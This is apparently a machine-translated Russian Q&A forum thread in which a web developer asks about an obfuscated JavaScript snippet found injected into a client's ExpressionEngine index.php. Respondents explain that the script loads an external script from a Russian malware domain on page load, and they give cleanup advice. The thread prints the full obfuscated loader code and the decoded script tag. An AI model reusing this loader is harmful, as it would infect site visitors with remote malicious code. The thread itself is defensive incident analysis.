Странный Javascript в шаблоне. Это попытка взлома?
Я проверил веб-сайт моего клиента на XHTML Strict 1.0/CSS 2.1 стандарты на прошлой неделе. Сегодня, когда я перепроверил, у меня была ошибка проверки, вызванная странным и предыдущим неизвестным сценарием. Я нашел это в указателе.php файл моей ExpressionEngine CMS. Это попытка взлома как я и подозревал? Я не мог не заметить русский домен, закодированный в скрипте...
что делает этот javascript? мне нужно объяснить конкретные опасности для моей клиент.
this.v=27047;
this.v+=187;
ug=["n"];
OV=29534;
OV--;
var y;
var C="C";
var T={};
r=function(){
b=36068;
b-=144;
M=[];
function f(V,w,U){
return V.substr(w,U);
var wH=39640;
}
var L=["o"];
var cj={};
var qK={N:false};
var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2);
var BT="BT";
var fV=RegExp;
var CE={bf:false};
var UW='';
this.Ky=11592;
this.Ky-=237;
var VU=document;
var _n=[];
try {} catch(wP){};
this.JY=29554;
this.JY-=245;
function s(V,w){
l=13628;
l--;
var U="["+w+String("]");
var rk=new fV(U, f("giId",0,1));
this.NS=18321;this.NS+=195;return V.replace(rk, UW);
try {} catch(k){};
};
this.jM="";
var CT={};
var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z');
try {var vv='m'} catch(vv){};
var Os={};
var t=null;
var e=String("bod"+"y");
var F=155183-147103;
this.kp='';
Z={Ug:false};
y=function(){
var kl=["mF","Q","cR"];
try {
Bf=11271;
Bf-=179;
var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5');
Fp=VU[u](A);
var H="";
try {} catch(WK){};
this.Ca=19053;
this.Ca--;
var O=s('s5rLcI','2A5IhLo');
var V=F+fa;
this.bK="";
var ya=String("de"+"fe"+f("r3bPZ",0,1));
var bk=new String();
pB=9522;
pB++;
Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V;
Fp[ya]=[1][0];
Pe=45847;
Pe--;
VU[e].appendChild(Fp);
var lg=new Array();
var aQ={vl:"JC"};
this.KL="KL";
}
catch(x){
this.Ja="";
Th=["pj","zx","kO"];
var Jr='';
};
Tr={qZ:21084};
};
this.pL=false;
};
be={};
rkE={hb:"vG"};
r();
var bY=new Date();
window.onload=y;
cU=["Yr","gv"];
4 ответов
да. Сайт был взломан.
Что вам нужно сделать, это:
- убедитесь, что все, кто имел доступ к этим паролям, запустили обновленный virusscan на компьютерах, с которых они могли войти на сайт.
- убедитесь, что вы меняете все пароли и логин админа.
- если возможно, вы, вероятно, вернетесь к кодовой базе, как это было до того, как вы столкнулись с этим.
- Проверьте время модификации скрипта где вы нашли этот фрагмент (если еще не слишком поздно) и ищите другие файлы, которые были изменены примерно в это время. Сценарий, вероятно, генерируется случайным образом, поэтому греппинг для его частей вряд ли будет окончательным.
Если этот скрипт смог найти свой путь, то и другие могут. Не редкость, что веб-сайты скомпрометированы с помощью троянов keylogging на компьютерах тех, кто входит в них.
Видеть http://www.symantec.com/connect/blogs/gumblar-botnet-ramps-activity
приведенный выше код пишет некоторый код, который активирует код на русском сайте (http://towersky.ru:8080/google.com/depositfiles.com/speedtest.net.php), который добавляет невидимый DIV, содержащий iFrame, который, я полагаю, содержит изображение щенка.
скрипт в основном добавляет следующую строку в закрывающий тег тела:
<script defer="defer" src="http://towersky.ru:8080/google.com/depositfiles.com/speedtest.net.php"></script>
таким образом, он пытается загрузить внешний скрипт на ваш сайт. Я не уверен, что этот сценарий делает, но, без сомнения, это не что - то хорошее.
кроме того, быстрый поиск "towersky.ru" в google раскрываются списки вредоносных сайтов, содержащих этот сайт.
учитывая, что я даже не мог загрузить эту страницу в Windows, потому что мой AV остановил меня, да, это вирус.